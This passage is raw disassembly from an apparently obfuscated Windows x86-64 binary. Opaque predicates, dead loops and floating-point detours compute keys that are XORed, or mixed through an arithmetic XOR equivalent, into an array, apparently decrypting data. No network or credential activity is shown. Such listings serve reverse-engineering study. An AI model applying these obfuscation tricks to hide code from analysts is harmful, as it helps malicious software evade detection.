sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400249f4
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083a0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x4a0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xae0], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xae0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xae8], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xae4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xae4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xae8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002491e
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xaec], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xaec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf0], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xaf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf4], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xaf4]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002491e
mov dword [rsp + 0x94], 0
jmp 0x1400247e0
cmp dword [rsp + 0x94], 4
jae 0x140024919
cvtsi2sd xmm0, dword [rsp + 0x94]
movsd xmm1, qword [rsp + 0x4a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1788], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1788]
ucomisd xmm1, xmm0
jp 0x14002485b
jne 0x14002485b
mov eax, dword [rsp + 0x94]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x4a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x4a0], xmm0
jmp 0x1400246da
cvtsi2sd xmm0, dword [rsp + 0x94]
movsd xmm1, qword [rsp + 0x4a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1790], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1790]
ucomisd xmm1, xmm0
jp 0x1400248c3
jne 0x1400248c3
mov eax, dword [rsp + 0x94]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x4a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x4a0], xmm0
jmp 0x1400248d9
xor eax, eax
test eax, eax
je 0x1400248d5
jmp 0x1400249c0
jmp 0x140024902
cvtsi2sd xmm0, dword [rsp + 0x94]
movsd xmm1, qword [rsp + 0x4a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5ac], eax
jmp 0x1400249cb
xor eax, eax
cmp eax, 1
je 0x14002490f
jmp 0x14002491e
jmp 0x1400246da
jmp 0x1400246da
xor eax, eax
cmp eax, 1
je 0x1400249c0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xaf8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xaf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb00], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xafc], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xafc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb00]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x4a0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5ac], eax
jmp 0x1400249cb
mov dword [rsp + 0x5ac], 1
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x208]
mov edx, dword [rsp + 0x5ac]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x208]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xb04], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xb04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0xb08], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xb08]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb0c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140025873
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xb10], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xb10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb14], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xb14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb18], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xb18]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140024e29
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108398]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x4a8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xb1c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xb1c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb24], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xb20], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xb20]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb24]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140024d53
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xb28], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xb28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xb2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb30], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xb30]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140024d53
mov dword [rsp + 0xe4], 0
jmp 0x140024c15
cmp dword [rsp + 0xe4], 4
jae 0x140024d4e
cvtsi2sd xmm0, dword [rsp + 0xe4]
movsd xmm1, qword [rsp + 0x4a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1798], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1798]
ucomisd xmm1, xmm0
jp 0x140024c90
jne 0x140024c90
mov eax, dword [rsp + 0xe4]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x4a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x4a8], xmm0
jmp 0x140024b0f
cvtsi2sd xmm0, dword [rsp + 0xe4]
movsd xmm1, qword [rsp + 0x4a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17a0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17a0]
ucomisd xmm1, xmm0
jp 0x140024cf8
jne 0x140024cf8
mov eax, dword [rsp + 0xe4]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x4a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x4a8], xmm0
jmp 0x140024d0e
xor eax, eax
test eax, eax
je 0x140024d0a
jmp 0x140024df5
jmp 0x140024d37
cvtsi2sd xmm0, dword [rsp + 0xe4]
movsd xmm1, qword [rsp + 0x4a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5a8], eax
jmp 0x140024e00
xor eax, eax
cmp eax, 1
je 0x140024d44
jmp 0x140024d53
jmp 0x140024b0f
jmp 0x140024b0f
xor eax, eax
cmp eax, 1
je 0x140024df5
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xb34], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xb34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb3c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xb38], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xb38]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb3c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x4a8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5a8], eax
jmp 0x140024e00
mov dword [rsp + 0x5a8], 1
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x208]
mov edx, dword [rsp + 0x5a8]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x208]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xb40], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xb40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb44], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xb44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb48], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xb48]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400251e3
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108390]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2a0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xb4c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xb4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb54], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xb50], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xb50]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb54]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002510d
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xb58], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xb58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb5c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xb5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb60], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xb60]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002510d
mov dword [rsp + 0xe0], 0
jmp 0x140024fcf
cmp dword [rsp + 0xe0], 4
jae 0x140025108
cvtsi2sd xmm0, dword [rsp + 0xe0]
movsd xmm1, qword [rsp + 0x2a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17a8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17a8]
ucomisd xmm1, xmm0
jp 0x14002504a
jne 0x14002504a
mov eax, dword [rsp + 0xe0]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2a0], xmm0
jmp 0x140024ec9
cvtsi2sd xmm0, dword [rsp + 0xe0]
movsd xmm1, qword [rsp + 0x2a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17b0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17b0]
ucomisd xmm1, xmm0
jp 0x1400250b2
jne 0x1400250b2
mov eax, dword [rsp + 0xe0]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2a0], xmm0
jmp 0x1400250c8
xor eax, eax
test eax, eax
je 0x1400250c4
jmp 0x1400251af
jmp 0x1400250f1
cvtsi2sd xmm0, dword [rsp + 0xe0]
movsd xmm1, qword [rsp + 0x2a0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5a4], eax
jmp 0x1400251ba
xor eax, eax
cmp eax, 1
je 0x1400250fe
jmp 0x14002510d
jmp 0x140024ec9
jmp 0x140024ec9
xor eax, eax
cmp eax, 1
je 0x1400251af
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xb64], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xb64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb6c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xb68], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xb68]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb6c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2a0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5a4], eax
jmp 0x1400251ba
mov dword [rsp + 0x5a4], 1
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x208]
mov edx, dword [rsp + 0x5a4]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x208]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x60]
sub eax, 0x76
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2a8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xb70], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xb70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb78], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xb74], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xb74]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb78]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14002545c
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xb7c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xb7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb80], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xb80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb84], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xb84]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002545c
mov dword [rsp + 0xdc], 0
jmp 0x14002531e
cmp dword [rsp + 0xdc], 4
jae 0x140025457
cvtsi2sd xmm0, dword [rsp + 0xdc]
movsd xmm1, qword [rsp + 0x2a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17b8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17b8]
ucomisd xmm1, xmm0
jp 0x140025399
jne 0x140025399
mov eax, dword [rsp + 0xdc]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2a8], xmm0
jmp 0x140025218
cvtsi2sd xmm0, dword [rsp + 0xdc]
movsd xmm1, qword [rsp + 0x2a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17c0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17c0]
ucomisd xmm1, xmm0
jp 0x140025401
jne 0x140025401
mov eax, dword [rsp + 0xdc]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2a8], xmm0
jmp 0x140025417
xor eax, eax
test eax, eax
je 0x140025413
jmp 0x1400254fe
jmp 0x140025440
cvtsi2sd xmm0, dword [rsp + 0xdc]
movsd xmm1, qword [rsp + 0x2a8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5a0], eax
jmp 0x140025509
xor eax, eax
cmp eax, 1
je 0x14002544d
jmp 0x14002545c
jmp 0x140025218
jmp 0x140025218
xor eax, eax
cmp eax, 1
je 0x1400254fe
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xb88], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xb88]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb90], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xb8c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xb8c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb90]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2a8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x5a0], eax
jmp 0x140025509
mov dword [rsp + 0x5a0], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x60]
sub eax, 0x76
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2b0], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xb94], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xb94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb9c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xb98], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xb98]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb9c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140025782
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xba0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xba0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xba4], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xba4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xba8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xba8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140025782
mov dword [rsp + 0xd8], 0
jmp 0x140025644
cmp dword [rsp + 0xd8], 4
jae 0x14002577d
cvtsi2sd xmm0, dword [rsp + 0xd8]
movsd xmm1, qword [rsp + 0x2b0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17c8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17c8]
ucomisd xmm1, xmm0
jp 0x1400256bf
jne 0x1400256bf
mov eax, dword [rsp + 0xd8]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2b0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2b0], xmm0
jmp 0x14002553e
cvtsi2sd xmm0, dword [rsp + 0xd8]
movsd xmm1, qword [rsp + 0x2b0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17d0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17d0]
ucomisd xmm1, xmm0
jp 0x140025727
jne 0x140025727
mov eax, dword [rsp + 0xd8]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2b0]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2b0], xmm0
jmp 0x14002573d
xor eax, eax
test eax, eax
je 0x140025739
jmp 0x140025824
jmp 0x140025766
cvtsi2sd xmm0, dword [rsp + 0xd8]
movsd xmm1, qword [rsp + 0x2b0]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x59c], eax
jmp 0x14002582f
xor eax, eax
cmp eax, 1
je 0x140025773
jmp 0x140025782
jmp 0x14002553e
jmp 0x14002553e
xor eax, eax
cmp eax, 1
je 0x140025824
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xbac], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xbac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbb4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0xbb0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xbb0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xbb4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x2b0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x59c], eax
jmp 0x14002582f
mov dword [rsp + 0x59c], 1
movsxd rax, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x208]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x5a0]
movsxd rcx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x208]
mov edi, dword [rsp + 0x59c]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x208]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xbb8], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xbb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbbc], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xbbc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xbc0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140025c2d
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108388]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2b8], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xbc4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xbc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbcc], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0xbc8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0xbc8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xbcc]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140025b57
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0xbd0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0xbd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbd4], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0xbd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbd8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0xbd8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140025b57
mov dword [rsp + 0xe8], 0
jmp 0x140025a19
cmp dword [rsp + 0xe8], 4
jae 0x140025b52
cvtsi2sd xmm0, dword [rsp + 0xe8]
movsd xmm1, qword [rsp + 0x2b8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17d8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17d8]
ucomisd xmm1, xmm0
jp 0x140025a94
jne 0x140025a94
mov eax, dword [rsp + 0xe8]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2b8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2b8], xmm0
jmp 0x140025913
cvtsi2sd xmm0, dword [rsp + 0xe8]
movsd xmm1, qword [rsp + 0x2b8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x17e0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x17e0]
ucomisd xmm1, xmm0
jp 0x140025afc
jne 0x140025afc
mov eax, dword [rsp + 0xe8]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x2b8]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x2b8], xmm0
jmp 0x140025b12
xor eax, eax
test eax, eax
je 0x140025b0e
jmp 0x140025bf9
jmp 0x140025b3b
cvtsi2sd xmm0, dword [rsp + 0xe8]
movsd xmm1, qword [rsp + 0x2b8]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x598], eax
jmp 0x140025c04
xor eax, eax
cmp eax, 1
je 0x140025b48
jmp 0x140025b57
jmp 0x140025913
jmp 0x140025913
xor eax, eax
cmp eax, 1
je 0x140025bf9
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0xbdc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0xbdc]
add ecx, eax
mov eax, ecx
